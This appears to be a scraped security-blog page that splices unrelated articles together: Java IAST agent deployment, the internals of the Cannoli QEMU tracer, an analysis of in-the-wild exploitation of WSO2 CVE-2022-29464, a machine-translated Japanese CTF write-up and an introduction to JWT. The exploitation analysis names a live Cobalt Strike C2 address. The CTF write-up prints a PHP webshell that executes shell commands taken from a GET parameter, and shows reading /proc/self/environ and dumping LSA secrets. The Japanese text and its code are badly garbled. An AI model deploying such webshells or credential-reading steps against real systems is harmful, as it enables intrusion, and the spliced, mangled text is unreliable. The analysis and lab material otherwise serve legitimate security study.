因此，我們設計了mempipe 庫來輪詢一組郵箱，該郵箱保證與正在傳輸的數據位於不同的緩存行上。如果我們將傳輸緩衝區與郵箱放在同一緩存行上，那麼將會出現嚴重的緩存不穩。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
場景導入目前IAST應用環境中，Java應用佔據了90%以上。傳統IAST對Java應用進行Agent安裝時，需要修改Tomcat、WebLogic等的啟動腳本，增加javaagent參數來實現Agent的安裝加載。



對於安裝人員來說，Agent安裝需要知悉Web容器的安裝路徑，並且需要對每個容器的啟動腳本進行修改，最後重啟Web容器，完成Agent的安裝。



在實際的使用過程中，部署人員常常由於腳本修改不當、找不到Web容器等問題導致安裝失敗。除此之外，當團隊需要對幾百上千個應用進行安裝測試時，對安裝人員來說將是一項異常艱鉅的任務。此外，若後期需要對Agent進行升級或者卸載操作也將是一場運維災難。



Agent部署技術基礎JDK從1.5版本開始引入了java.lang.instrument包，可以通過其更方便地實現字節碼增強。核心功能由java.lang.instrument.Instrumentation提供，這個接口的方法提供了註冊類文件轉換器、獲取所有已加載的類等功能，允許對已加載和未加載的類進行修改。



在JDK5中，開發人員只能在JVM啟動時指定一個java agent，在premain中操作字節碼，這種Instrumentaion方式僅限於main方法執行前，存在很大的局限性。從JDK6開始引入了動態Attach Agent的方案，可以在JVM啟動後任意時刻遠程加載Agent，jstack、jps、jmap等工具都是利用Attach API來實現的。



Instrumentation的第一種使用方式是通過JVM的啟動參數-javaagent來啟動，一個典型的使用方式如下所示:



 1.png



在SecPoint.jar中，AgentMain類有一個靜態的premain方法，JVM在類加載時會先執行AgentMain類的premain方法，再執行Java應用本身的main方法。在premain方法中可以對class文件進行修改。這種字節碼修改的方式並不會對源代碼做任何修改，但是可以實現對JVM中的類的動態修改和增強，從而捕獲應用程序的數據傳播過程。



Instrumentation的第二種方式是在JVM運行以後在任意時刻通過Attach API遠程加載Agent的jar包。在啟動時加載的Agent會調用premain方法，動態Attach的Agent會執行agentmain方法。 Attach的發起端是一個獨立的java程序，這個java程序會調用`VirtualMachine.attach`方法開始和目標JVM進行跨進程通信，從而實現字節碼增強。



安全玻璃盒經驗目前，【安全玻璃盒】孝道科技IAST為了滿足真實場景下大規模部署的場景，針對Java Agent的安裝方式做了多種方式的功能實現，使得用戶能夠根據實際需求靈活選擇部署方式，盡可能將Agent安裝過程自動化，減輕部署及後續運維的工作量。



1.手動java agent部署這種方式即為傳統的javaagent部署方式，首先需要將Agent下載至應用服務器中，之後修改對應Web容器的啟動腳本（例如，tomcat需要修catalina.sh或者catalina.bat），在指定位置添加javaagent等參數後重啟容器即可完成安裝部署。



 2.png



2.自動java agent部署該方式由安裝人員或者在後台指定Web容器的位置，並Agent下載至應用服務器後，通過使用“install”參數啟動Agent後，將自動修改Web容器啟動腳本中的啟動腳本，在其中添加對應的參數。例如：



 3.png



3.Attach部署Attach部署方式需要JDK6以上版本，並且需要服務器中具備JDK環境（JRE不包含tools.jar和attach.so）。將Agent下載至應用服務器後，通過啟動Agent並選擇需要綁定的java進程，即可針對指定java服務完成Agent安裝部署。



 4.png



4.一鍵腳本部署自動化腳本的方式能夠通過統一的腳本實現對不同應用環境的Java服務進行Agent部署安裝，當在應用服務器運行腳本後，能夠自動從後台服務器下載Agent至服務器中，並自動對java進行進行Attach安裝。該方式對於大規模部署及容器等環境極為適用。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
內部機制9.png



MempipeMempipe是一種超高速的IPC機制，它使Cannoli能夠第一時間工作。它提供了一個低延遲的API，用於通過Linux上的shm*() API將緩衝區從一個進程傳輸到另一個進程。具體來說，它是一種基於輪詢的IPC機制，這意味著使用者在新數據到達之前對郵箱進行熱輪詢。



你可以在mempipe/src/lib.rs 中找到所有代碼。其核心有兩個結構，一個SendPipe 和一個RecvPipe。



Const泛型SendPipe和RecvPipe都使用兩個Const泛型，分別是CHUNK_SIZE和NUM_BUFFERS泛型。 CHUNK_SIZE以字節為單位定義每個緩衝區的大小。這個塊的大小越小，需要進行的傳輸就越多，緩存中的數據就越多。這實際上是緩衝區的大小，該緩衝區將被數據填滿，填滿時會自動刷新。



NUM_BUFFERS泛型指定內存管道中的緩衝區數量。實際上，這就是啟用來自QEMU 的非阻塞數據流的原因。當QEMU向另一個緩衝區生成數據時，用戶可以處理一個緩衝區。建議將此值設置為大於1，否則QEMU將在處理緩衝區時阻塞，但不要設置得太高，否則只會增加可能用於流媒體的內存數量，導致更多的緩存不穩定。



這兩種泛型都是可調的，會顯著影響性能。就我個人而言，我發現將CHUNK_SIZE設置為L1緩存的1/2(在大多數x86系統上是16kib)，將NUM_BUFFERS設置為4似乎是一個不錯的基準。



管道創建創建一個SendPipe 很簡單。你調用SendPipe:create() 並返回一個SendPipe。在內部，它生成一個隨機的64 位數字，用作管道標識符。然後它以這個管道ID 作為文件名創建一個共享內存文件，設置共享內存的長度，並將其映射為可讀寫。我們還在共享內存中放置了一個小的標頭文件，這樣我們就可以確保當我們連接到管道時，它與我們期望的參數匹配。



打開管道創建RecvPipe 也很簡單，只需使用分配給SendPipe 的UID（可從SendPipe:uid() 獲得）調用RecvPipe:open()。然後，確保RecvPipe的Const泛型與SendPipe的Const泛型相匹配(包括在共享內存的元數據中)，最後，它將映射內存並返回管道。



數據產生要從SendPipe生成數據，你需要調用SendPipe:alloc_buffer。這給了用戶一個只寫的ChunkWriter，它可以用ChunkWriter:send來寫。調用alloc_buffer會在熱循環中阻塞，直到緩衝區可用。重要的是，用戶要以盡可能快的速度使用數據，以防止發送方停頓太長時間。使用正確的可調參數，用戶應該總是領先於運營程序，因此alloc_buffer 應該立即有效地返回。



當通過alloc_buffer 獲得緩衝區時，應保證為發送進程所有，因此我們可以安全地可變地寫入它。內存是未初始化的，但沒關係，因為ChunkWriter 只提供寫入訪問，因此讀取未初始化的內存是不可能的。



數據處理在撰寫本文時，我對使用數據的最終設計並不滿意。首先，你從RecvPipe:request_ticket 請求一個票據。這有效地讓管道知道你對數據感興趣，並為你獲取將要處理的數據的唯一ID。然後，你調用RecvPipe:try_recv 來使用票據，並將返回新票據（如果數據已處理）或舊票據（如果recv 沒有任何數據）。 try_recv 是非阻塞的。如果不存在數據，則立即返回。



票據模型有點奇怪，但它允許我們循環分配用戶線程到緩衝區。這會在處理線程之間盡可能均勻地分配處理負載。它也很重要，因為它決定了正在處理的數據的順序，這對於我們有序的跟踪要求很重要。



我想找到對這個API的改進，但我還沒有這麼做，主要是因為它工作得很好，速度超級快。



QEMU補丁Cannoli 包含一些QEMU 的補丁。你可以在文件qemu_patches.patch 的repo 中找到這些內容。這些是目前最新的QEMU eec398119fc6911d99412c37af06a6bc27871f85 的補丁，但是它們被設計為在QEMU 版本之間可以移動。



這些補丁向QEMU引入了大約200行代碼。



QEMU 掛鉤當-cannoli 命令行參數傳入QEMU 時，它會觸發Cannoli 共享庫的dlopen()。然後它獲取Cannoli 條目點的地址（稱為query_version32 或query_version64）。 32 位或64 位後綴不是指共享庫本身的位數（目前所有東西都只支持x86_64 作為主機/JIT 目標），而是指被模擬的目標的位數。所有的掛鉤都設計為以不同的方式處理32 位和64 位目標，因為這會減小數據流的大小，從而在模擬32 位目標時最大限度地提高性能。



調用query_versionX 返回對Cannoli 結構的引用，該結構定義了QEMU 將在某些事件上調度的各種回調。



登記預訂因為我們將在幾乎每條目標指令上生成數據，所以我們實際上希望在寄存器中存儲少量關於跟踪緩衝區和長度的元數據。在內存中執行此操作將非常耗能，因為它將導致對每個目標指令進行多個內存訪問。



因此，我們對tcg_target_reg_alloc_order打補丁，以從QEMU寄存器調度器中刪除x86_64寄存器r12、r13和r14。這可以防止QEMU在其JIT中使用它們，從而使我們在JIT執行期間獨占地控制這些寄存器。這些寄存器是基於SYS-V ABI被調用保存的寄存器。這一點很重要，因為QEMU可以在JIT中調用C函數，我們希望確保在發生這些調用時保留寄存器。



JIT進入和退出由於我們保留了對一些寄存器的控制權，因此我們需要確保這些寄存器在QEMU JIT 進入和退出時被正確設置和保存。 JIT 條目和出口是QEMU 從運行QEMU C 代碼過渡到運行生成的JIT 代碼，再回到退出QEMU 的邊界。這些條目和出口是在tcg_target_qemu_prologue() 函數中為每個JIT-target-architecture 定義的。這有效地設置上下文、調用JIT 並恢復上下文。對於熟悉操作系統開發的人來說，這實際上是一種有效的上下文切換。



我們在這裡添加了一些掛鉤，允許我們調用Rust 共享庫中的代碼。具體來說，就是jit_entry() 和jit_exit() 函數。這些在JIT 的上下文中被調用，並提供對r12、r13 和r14 寄存器的訪問，以便可以在每次JIT 進入和退出時保存和恢復它們。



在我們的示例中，$entry 函數(cannoli/cannoli_server/src/cannoli_internals.rs) 從mempipe中分配一個緩衝區，在r12 中設置一個指向它的指針，在r13 中設置一個指向它末尾的指針，然後返回。這將通過執行JIT建立r12和r13的狀態。



$exit函數決定JIT產生的字節數(由r12中的當前指針表示，它已經是高級了)，並通過IPC將數據發送給用戶。



加載和存儲對於加載和存儲，我們鉤住了tcg_out_qemu_ld()和tcg_out_qemu_st()。這些函數是特定於x86_64- jit目標的函數，它們為到來賓地址空間的內存操作提供了捕獲所有接收器(catch-all sink)，用於各自的加載和存儲。



指令執行對於指令執行，我們掛鉤tcg_gen_code()，特別是INDEX_op_insnstart() QEMU TCG 指令，它表示指令開始執行的地址。



JIT shellcode 注入內存和指令掛鉤都做同樣的事情。它們在Rust代碼中調用一個回調函數，該回調函數被傳遞給qemu提供的緩衝區和長度。然後，此回調可以使用直接發送到JIT 流中的shellcode 填充QEMU 提供的緩衝區。這為我們的Rust 庫提供了將任意代碼注入JIT 流的能力。如果你是高級用戶，則可以通過為不同的指令提供不同的掛鉤來做一些非常酷的事情。



Cannoli服務器Cannoli 服務器（通過掛鉤加載到QEMU 中）已經預定義了一些掛鉤。這些是指令和內存操作掛鉤。



Cannoli 的整個流程（在其默認配置中）是在JIT 條目分配一個IPC 緩衝區，在JIT 期間填充它，如果它填滿了就刷新它，在JIT退出時也刷新它。



默認的指令和內存掛鉤執行最少的組裝，以確保跟踪緩衝區中有足夠的空間，刷新它（通過回調到Rust，如果它是滿的，它可以在這裡調用Rust，因為這些事件“很少”發生，例如。每幾千條目標指令），最後將內存或指令執行指令以相對簡單的格式存儲到跟踪中。



Cannoli 服務器共享對象包含所有掛鉤和代碼的兩個副本，這樣同一個共享對象就可以同時用於32位和64位目標，而無需重新編譯！



這些掛鉤直接寫入mempipe 提供的緩衝區，就這麼簡單！任何更複雜的內容都將嚴重損害性能！



Cannoli最後，Cannoli 本身就是一個用戶庫。由於我們每秒可能處理數十億條指令，所以我們將所有Cannoli設計成使用線程。這允許你在多個線程上執行相對複雜的跟踪使用和處理，同時不會影響QEMU單線程任務。



這很簡單。 Cannoli 創建請求的線程數，並在那些等待數據的線程上旋轉。使用mempipe 票據系統，每個線程都要排隊等待數據進入。當緩衝區出現他們的票號時，該線程處理來自QEMU 的數據。



由於並行處理意味著跟踪不再是有序的，我們允許用戶為每個事件返回他們自己的結構，然後在排序後將其返回給他們。這允許用戶進行線程處理，直到他們需要排序。



總結盡可能快地將數據從一個進程傳輸到另一個進程是一個非常困難的問題。關於處理器的詳細信息，如緩存一致性，對於獲得高吞吐量至關重要，特別是在希望盡可能防止生成線程阻塞時。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
趨勢科技的研究人員觀察到漏洞CVE-2022-29464 自4 月以來就在野外被利用，該漏洞允許不受限制的文件上傳，從而進行任意遠程代碼執行(RCE)。在4 月份披露和修補後，該漏洞被評為9.8級，並影響了許多WSO2 產品。它不需要用戶交互和管理權限即可濫用，並且可以在設備未打補丁的情況下攻擊網絡。



WSO2產品的漏洞於4月18日被一位名為Orange Tsai的用戶披露，並隨後給出了相應的CVE ID，並進行了修補。 4月20日，一位名為“hakkivi”的GitHub 用戶發布了該漏洞利用的證明，第二天研究人員就觀察到了對受影響環境的攻擊，大約一周後，受影響環境的Metasploit 模塊就可用了。該漏洞會影響WSO2 API Manager 2.2.0 及更高版本、Identity Server 5.2.0 及更高版本、Identity Server Analytics 5.4.0 至5.6.0、Identity Server as Key Manager 5.3.0 及更高版本、Open Banking AM 1.4.0 及更高版本，以及Enterprise Integrator 6.2.0 及以上版本。



漏洞濫用1.png



感染鏈我們觀察到安裝了濫用該漏洞的web shell，並查看此漏洞的概念證明，一個惡意Jakarta Server Pages（.JSP，以前的JavaServer Pages）文件可以上傳到以下位置。



 加图1.png



但值得注意的是，許多觀察到的攻擊在現有的PoC實現中是非常持久的。



然而，在分析過程中，研究人員在其他安裝了web shell 的位置發現了其他上傳和安裝的web 應用程序資源(.WAR) 文件，這可能是由於Metasploit 模塊的啟動。從這個.war 文件中，Payload.class 由用戶環境中的合法Java 應用程序服務器函數提取：



 加图2.png



位置/authenticationendpoint/似乎是WSO2產品中常見的位置，我們發現在使用. jsp或. war文件受影響的7個產品中，至少有4個出現了針對該位置以及其他位置的web shell安裝。



 2.jpg



在web shell安裝之後，Java進程會調用wget命令來獲取auto.sh文件。我們分析了這個文件，發現它是一個coinminer安裝程序（被趨勢科技檢測為Trojan.SH.MALXMR.UWELO），很可能是通過濫用漏洞的web shell安裝的。



 3.png



追踪可疑的執行



 4.png



觀察到的wget 命令執行



此外，研究人員還觀察到從Java進程運行的chmod命令對權限的更改。我們看到，攻擊者可以使用與Java 進程所有者相同的權限執行任意操作系統命令。在利用4 月記錄的Spring4Shell (CVE-2022-22965) 漏洞的Mirai 殭屍網絡惡意軟件樣本中也觀察到了chmod 命令。



 5.png



跟踪chmod 命令



 6.png



chmod 命令執行



Vision One的燕麥功能將這些命令執行顯示為“低風險”。由於一些執行和流程被團隊和管理員用作常規操作(如wget和chmod)的一部分，低風險級別的檢測通常會與高風險或關鍵風險級別的項目相結合進行分析，因此會被跟踪：



 7.png



OAT 顯示wget 和chmod 命令執行情況



為Linux開發了Cobalt Strikebeaconchmod命令執行後，進程“LBcgqCymZQhm”（被趨勢科技檢測為Backdoor.Linux.COBEACON.AA）也從Java 進程中執行。該進程在Linux 操作系統上運行，並執行到IP 地址179[.]60[.]150[.]29:4444 的出站連接。分析發現，該IP地址是一個惡意的Cobalt Strike回調目的地和命令與控制(CC)服務器，研究人員自2021年3月以來一直在跟踪和阻止該服務器。



在最初的調查中，研究人員將這個207 字節的ELF 可執行文件確定為與Linux 兼容的Cobalt Strike beacon。考慮到該環境運行在Linux操作系統上，而Cobalt Strike只提供針對Windows的beacon，因此該示例很可能是由攻擊者開發的，以與Cobalt Strike 兼容。



 8.png



跟踪未知的可疑執行



 9.png



觀察到與Cobalt Strike 回調建立出站連接的未知流程執行



分析還發現安裝了惡意軟件，例如用於Windows 的Cobalt Strike beacon（趨勢科技檢測為Backdoor.Win64.COBEACON.SMA）和hacktool fscan（趨勢科技檢測為HackTool.Win64.NetScan.AE)，尤其是在Windows 環境中。雖然攻擊者應該執行放置在受影響計算機上的文件，但執行被趨勢科技的解決方案終止。



總結使用受影響產品的用戶應按照WSO2 安全公告中確定的步驟立即修補或應用建議的臨時緩解程序。在進行初步分析後，趨勢科技的研究人員還在4 月發布了初步通知，通知了用戶和組織。在漏洞披露三天后和PoC 發布後的第二天，已經觀察到濫用此漏洞的攻擊，並且在安裝web shell 方面特別激進。在Linux 和Windows 環境中也觀察到了Cobalt Strike beacon。由於沒有為Linux 提供官方beacon，研究人員觀察到的兼容beacon應該是由攻擊者準備的。我們還觀察到用於Windows和Linux環境下加密貨幣挖礦的掃描工具fscan。通過對該漏洞的矢量分析，可以很容易地利用這一漏洞，因為使用受影響產品的服務器可以通過谷歌或Shodan搜索找到。此外，攻擊者似乎一直在實施現有的PoC，而Metasploit 模塊的可用性是網絡犯罪分子利用漏洞的關鍵一步。



雖然此前有報導稱，趨勢科技在2021年9月發現了一個與linux兼容的Cobalt Strikebeacon，其名稱為Trojan.Linux.VERMILLIONSTRIKE.A，但我們的分析發現，這個beacon具有不同的結構。研究人員還觀察了同一家族beacon的其他樣本在其他受漏洞影響的環境中的安裝情況。考慮到這一點，研究人員預計未來在易受攻擊的Linux環境中會更看到這個家族的樣本，因為安裝後門beacon表明，與安裝挖礦程序相比，可能會發生更多惡意和破壞性活動。



WSO2 產品的應用行業非常廣泛，例如醫療保健、銀行、能源、教育、政府和通信等。快速掃描他們的API Manager 的GitHub 頁面可以顯示至少每天提交一次的源代碼。



與其他服務器相比，WSO2 身份服務器可以被認為是攻擊者滲透的最有價值的資產之一，因為它是一個開源身份訪問管理(IAM) 產品。訪問IAM 服務器的攻擊者可以隨意訪問在WSO2 產品服務器下具有訪問管理權限的所有服務和用戶數據。負責清理的管理員和IT團隊應該檢查WSO2產品，看看是否有任何不屬於該產品的文件、用戶和/或流程，並將它們全部刪除。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
減圧



人形を圧縮し、最後のレイヤーまで解決し、ファイルを抽出します



 image-20241024133500142



プロンプトは通常のコードを提供します。通常のブラストパスワードによると、合計5桁があり、4桁目は数字です



^（[a-z]）{3} \ d [a-z] $の合計は5桁で、直接blastされ、パスワードxtr4mを取得し、脱落させてフラグを取得します



 image-20241024143051751



 image-20241024133955066



 
 PleasingMusic 



タイトルの説明に言及しています：



歌はよく聞こえ、ポジティブとネガティブの両方で、ポジティブとネガティブは良いです。プロンプトによると（実際、音楽の後半が後方に再生されることも聞くことができます）、オーディオは逆に処理され、その後モールスコードが解析されます。



 界面 1 界面 2



モールスコードメーターは手動で翻訳できます。オンラインデコードを使用できます。



粗い表現： - 、薄い表現：スペースまたはスペース：スペースまたは/セグメントを使用します



 Morse 解密结果



 image-20241024134921354



 
 whereisflag 



実際のフラグを見つけるための純粋なコマンドマニュアル検索。 /proc/self/Environファイル（現在のプロセスの環境変数を取得するために使用できます）では、次のコマンドを実行してフラグを取得できます。



Cat/Proc/Self/Environ image-20241024135548272



 
 labyirinth 



 image-20241024135921781



 image-20241024135957928



 
コードを引き換える



 image-20241024140300688



 
 wireshark_checkin 



 image-20241024140542352



 image-20241024140718246



 
 wireshark_secret 



 image-20241024141014162



 image-20241024141234550



タイトルの説明に連絡して、tivatテキスト比較テーブルを見つけます



 image-20241024141652291



比較表にはたくさん説明されています



最初の真ん中に大きな文字列を試しましたが、上下のケースは正しくありませんでした



その後、小さな暗号テキストを繰り返し続けて取得します：flagisasesence iiaaelgtsfkfa



doyouknowfence mesioaabgnsgogmyeiaied



ヒントフラグは文であり、フェンスはフェンスの暗号化mesioaabgnsgogmyeiaidでもあります



https://ctf.bugku.com/tool/railfence



 image-20241024142911077



提出が提出されたときにパッケージフラグは正しくなく、小文字に切り替えるときは小文字が正しいです。



最後のフラグは次のとおりです：flag {muygenshinisagoodgame}



 
線の間の秘密



 vscodeで開いて、u+202cの広いゼロバイトを発見します



 image-20241024143304292



 image-20241024143434003



パスワードを取得：IT_IS_K3Y



パスワードを使用して単語を開き、空白を見つけ、すべてのCTR+Aを選択し、コピーして、フラグを取得します



 image-20241024143550459



 
 Xiao Ming、熱心で親切な



 vol.py -f image.raw imageinfo



 image-20241024143952884



推奨されるオペレーティングシステムのバージョンは、win7sp1x86_23418、win7sp0x86、win7sp1x86_24000、win7sp1x86であることがわかります。ここでは、最初のもの（win7sp1x86_23418）を選択して試してみます。とにかく、それがうまくいかない場合は、何か他のものを試してください。



vol.py -f image.raw -profile=win/sp1x86_23418 lsadump



 image-20241024144028191



最初の0x48はパスワードではありません。サインとして理解できます。これとは別に、システムパスワードを取得できます：zdfyvdlfdtnlul9wnhntdzbyrf9iqunlrvih。



最後のフラグはフラグです{zdfyvdlfdtnlul9wnhntdzzbyrf9iqunlrvih}



 トレーサーを使用してボルトの台風を使用して



ステップ1、ニュースビデオへのリンクを開きます



 bilibili1



 bilibili2



ビデオに基づいて、次の情報を取得します。



必須レポート：ダークパワーの台頭.対応するバージョン：オリジナル4月15日バージョンステータス：必要な情報が改ざんされています。レポート名を直接検索します



https://Threatmon.io/storage/the-rise-of-dark-power-a-close-the-the-group-and-the-their-ransomware.pdf



 google



 duckduckgo



必要なPDFファイルを見ることができますが、ビデオにはレポートコンテンツが改ざんされていることも述べています。



 篡改



したがって、現在のバージョンには間違いなく必要な情報がありません。



質問者は以前に幸運だったので、彼は直接ダウンロードできる元のバージョンのPDFを見つけました、そして、彼はそれを直接始めることができました。



しかし、運が良くない場合はどうすればよいですか？ —— Waybackマシンを使用するように当社のWebサイトにお願いします。



 wayback 1



公式のWebサイトリンクを入力して、たまたま4月15日に利用できるトレーサーを開始します。



 wayback 2



 wayback 3



ファイルをダウンロードすると、残りはビデオで示されているファイルと同じです。



バックカバー画像を削除し、ドメインボックスに材料を入手してからMD5を入手してください。



もちろん、肉眼でビデオのあいまいな情報を直接読むことができれば、質問者はそれを認識します。



 domain



 md5



フラグを詰めてフラグを取得{6C3EA51B6F9D4F5E}。



 
 Hertaの研究



 HTTPエクスポートGet Upload.php



 image-20241024145523278



？php



 $ payload=$ _ get ['payload'];



 $ payload=shell_exec（$ payload）;



 $ bbb=create_function（



 base64_decode（ 'j'.str_rot13（' t '）。' 5z '）、



 base64_decode（ 'jg5zpwjhc2u2nf9lbmnvzguojg5zktsncmzvcigkat0woyrpphn0cmxlbigkbnmpoyrp



 kz0xkxsnciagiCbpzigkasuy'.str_rot13（ 'cg0kxkfapvntvpntvpntwt5mjleckg1m'）。 'dhjfcm90mtmojg5zwyrpxsk7dqo



 GICAGFQ0KFQ0KCMV0DXJUICRUCZS=='）



 ）;



 echo $ bbb（$ payload）;



？str_rot13（）関数は、文字列上でrot13エンコードを実行します。



ROT13エンコーディングは、各文字をアルファベット内の13文字で前進させることです。数字と非アルファベット文字は同じままです。



'。' PHPのコネクタなので、アップロードされたPHPコードは実際には次のとおりです。



？php



$ payload=$ _get ['payload'];



$ payload=shell_exec（$ payload）;



$ bbb=function（$ ns）{



 $ ns=base64_encode（$ ns）;



 for（$ i=0; $ i strlen（$ ns）; $ i ++）{



 if（$ i％2==1）{



 $ ns [$ i]=str_rot13（$ ns [$ i]）;



 }



 }



 $ nsを返します。



};



echo $ bbb（$ payload）;



コードによると、結果はbase64によってエンコードされていることがわかり、その後、内部の奇数桁の文字がstr_rot13でエンコードされていることがわかります。



次に、旗を要求するパッケージを見つけてそれをデコードしますが、それが偽の旗であることがわかります。



？php



$ result='zzxuz3tmsqnsagrsumbsnzvodkkkzavzla0tct==';



$ bbb=function（$ ns）{



for（$ i=0; $ i strlen（$ ns）; $ i ++）{



 if（$ i％2==1）{



 $ ns [$ i]=str_rot13（$ ns [$ i]）;



 }



 }



 $ nsを返します。



};



Echo Base64_Decode（$ BBB（$ result））;



？後で、私はf.txtを見つけに行き、flag:flagを解決しました{sh3_i4_s0_6eaut1ful。}



 
 bgmは壊れていますか？ 



 Audacityでオーディオを開くと、右チャネルの終わりに情報があり、左チャネルがノイズがあることを簡単に見つけることができます。



 audacity 1



質問の説明によると、それはダイヤルトーンですが、直接リリースすることはできないため、ノイズを削除する必要があります



[ステレオから個別]を選択してモノ»左チャンネルをオフにします»エクスポートimage-20241024151621861



 image-20241024151650045



 image-20241024151704929



 audacity 4



キーサウンドによる復号化Webサイト（つまり、DTMFデコーダー



 image-20241024151752387



 image-20241024151805669



フラグをラップするだけです{}



 
 AmazingGame 



プライベートAndroidディレクトリは/data/user/0/パッケージ名にあります



Android shared_prefsは通常、ソフトウェア構成データを保存するために使用されます



ファイルを変更して、合格レベルデータを変更します



最初のレベルを通過した後、ゲームをオフにします（これは非常に重要です）



携帯電話の実行へのADBリンク



シェル



ADBシェル



run-as com.pangbai.projectm



CD shared_prefs



cat net.osaris.turbly.jumpyball.xmlxml



？xmlバージョン='1.0'エンコード='utf-8' standalone='yes'？



地図



 boolean name='cockpitview' value='true' /



 int name='lockedsolotracks' value='2' /



 int name='lockedtracks' value='2' /



 int name='best0m0' value='130' /



 int name='lockedships' value='1' /



 int name='userid' value='9705893' /



/マップソフトウェアには23のレベルがあり、ロック解除数のレベルを23に変更します



通常、ADBプッシュを使用してファイルを変更する必要があります。ここでは、利便性のために2を直接23に置き換えます。



シェル



SED -I 's/2/23/g' net.osaris.turbly.jumpyball.xmlゲームを開き、すべてのレベルがロック解除されていることがわかります。自由に23のレベルをプレイします。ゲームが終わったときにフラグを取得できます。



 
 ez_jail 



この質問の元の意味は、C ++の（マクロ）置換演算子の知識のみをテストすることです。



キーワードが正しく使用されている限り、オンラインで検索できますが、質問セットの人の実行は壊れており、テスト中に多くの予期しない結果が表示されます。各知識ポイントの難しさを検討した後、予想外の難しさは予想される解決策とそれほど変わらないと感じたので、単に半開きの質問になりました。



コードのチェック関数を観察します



Python



def cpp_code_checker（code）:



 code:の「#include」の場合



 falseを返す、「コードにはライブラリを含めることは許可されていません」



 code:の「#define」の場合



 falseを返し、「コードはマクロの使用が許可されていません」



 '{' in codeまたは '}' in code:の場合



 戻る （



 間違い、



 'コードは `{`または `}`を使用することは許可されていませんが、単一の関数である必要があります」



 ））



 Len（code）100:の場合



「コードが長すぎる」と虚偽を返す



 trueを返す、「コードは有効」です 'このコードは#include #defineなどをフィルタリングしているようですが、学生が＃をバイパスできることを生徒が気付いたかどうかはわかりません。



したがって、ペイロードはこのようなものになる可能性があります（ソリューションを提供してくれたMaster Yuroに感謝します）



cpp



＃define user_code（）write（stdout_fileno、 'hello、world！'、13）;


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
在本文中，我們將探討JSON網絡令牌（JWT）的設計問題以及不當的處理方式是如何讓網站面臨各種高危攻擊的威脅的。由於JWT最常用於身份認證、會話管理和訪問控制機制，因此，這些漏洞有可能危及整個網站及其用戶。



如果還不熟悉JWT及其工作原理，那也不用擔心——我們會順便介紹所有相關細節。此外，我們還提供了一些含有相關漏洞的實驗環境，這樣你就可以針對真實的目標安全地進行滲透測試了。



 1.jpg



實驗環境如果您已經熟悉了JWT攻擊背後的基本概念，目前只想在一些現實的、故意易受攻擊的目標上練習這些漏洞的利用方法，則可以通過下面的鏈接來訪問本專題的所有實驗緩解。



要想查看所有JWT實驗環境，請訪問https://portswigger.net/web-security/all-labs#jwt。



需要注意的是，從Burp Suite Professional 2022.5版本開始，Burp Scanner就可以替您自動檢測JWT機制的某些漏洞。目前，這個版本只在我們的Early Adopter發布頻道提供。關於如何切換渠道的更多信息，請參見https://portswigger.net/burp/documentation/desktop/early-adopter。



什麼是JWT？ JSON Web令牌（JWT）是一種標準化的格式，用於在系統之間發送經過加密簽名的JSON數據。它們理論上可以包含任何類型的數據，但最常用於發送關於用戶的信息（“聲明”），以進行身份認證、會話處理和訪問控制。



與傳統的會話令牌不同，服務器需要的所有數據都存儲在JWT本身的客戶端。這使得JWT成為高度分佈式網站的熱門選擇，在這些網站中，用戶需要與多個後端服務器進行無縫交互。



JWT格式JWT由3部分組成：頭部、載荷和簽名。這些部分之間用點號隔開，具體如下面的例子所示：



eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTY0ODAzNzE2NCwibmFtZSI6IkNhcmxvcyBNb250b3lhIiwi c3ViIjoiY2FybG9zIiwicm9sZSI6ImJsb2dfYXV0aG9yIiwiZW1haWwiOiJjYXJsb3NAY2FybG9zLW1vbnRveWEubmV0IiwiaWF0IjoxNTE2MjM5MDIyfQ.SYZBPIBg2CRjXAJ8vCER0LA_ENjII1JakvNQoP-Hw6GG1z fl4JyngsZReIfqRvIAEi5L4HV0q7_9qGhQZvy9ZdxEJbwTxRs_6Lb-fZTDpW6lKYNdMyjw45_alSCZ1fypsMWz_2mTpQzil0lOtps5Ei_z7mM7M8gCwe_AGpI53JxduQOaB5HkT5gVrv9cKu9CsW5MS6ZbqYXpGyOG5eh oxqm8DL5tFYaW3lB50ELxi0KsuTKEbD0t5BCl0aCR2MBJWAbN-xeLwEenaqBiwPVvKixYleeDQiBEIylFdNNIMviKRgXiYuAvMziVPbwSgkZVHeEdF5MQP1Oe2Spac-6IfAJWT的頭部和載荷部分其實就是用base64url編碼的JSON對象。其中，頭部包含關於令牌本身的元數據，而載荷包含關於用戶的實際“聲明”。例如，您可以對上述令牌的載荷進行解碼，從而得到以下聲明：



{



'iss':'portswigger',



'exp':1648037164,



'name':'CarlosMontoya',



'sub':'carlos',



'role':'blog_author',



'email':'carlos@carlos-montoya.net',



'iat':1516239022



}在大多數情況下，任何有權訪問令牌的人都可以輕鬆地讀取或修改這些數據。因此，任何基於JWT機制的安全性都嚴重依賴於密碼簽名。



JWT簽名頒發令牌的服務器通常通過對頭部和載荷計算哈希值來生成簽名。在某些情況下，它們還對產生的哈希值進行加密處理。但是無論哪種方式，這個過程都涉及一個秘密密鑰。如果不知道這個密鑰，就無法為給定的頭部和載荷生成有效的簽名。這實際上就為服務器提供了一種機制，以驗證自令牌頒發以來沒有任何數據被篡改過，因為對頭部或載荷部分的任何修改，都將意味著簽名不再匹配。



如果您想更好地理解JWTs是如何構造的，可以使用jwt.io上的調試器對任意令牌進行實驗。



JWT、JWS與JWEJWT規範的約束實際上是非常有限的。它只定義了將信息（“聲明”）表示為可以在雙方之間傳輸的JSON對象的格式。在實踐中，JWT並沒有真正作為一個獨立的實體使用。 JWT規範由JSON Web簽名(JWS)和JSON Web加密(JWE)規範組成，它們定義了實際實現JWT的具體方法。



 1.jpg



換句話說，JWT通常是指JWS或JWE令牌。當人們使用“JWT”這個術語時，他們幾乎總是指JWS令牌。 JWE的情況也非常相似，只是令牌的實際內容是經過加密的，而不是僅僅經過編碼處理的。



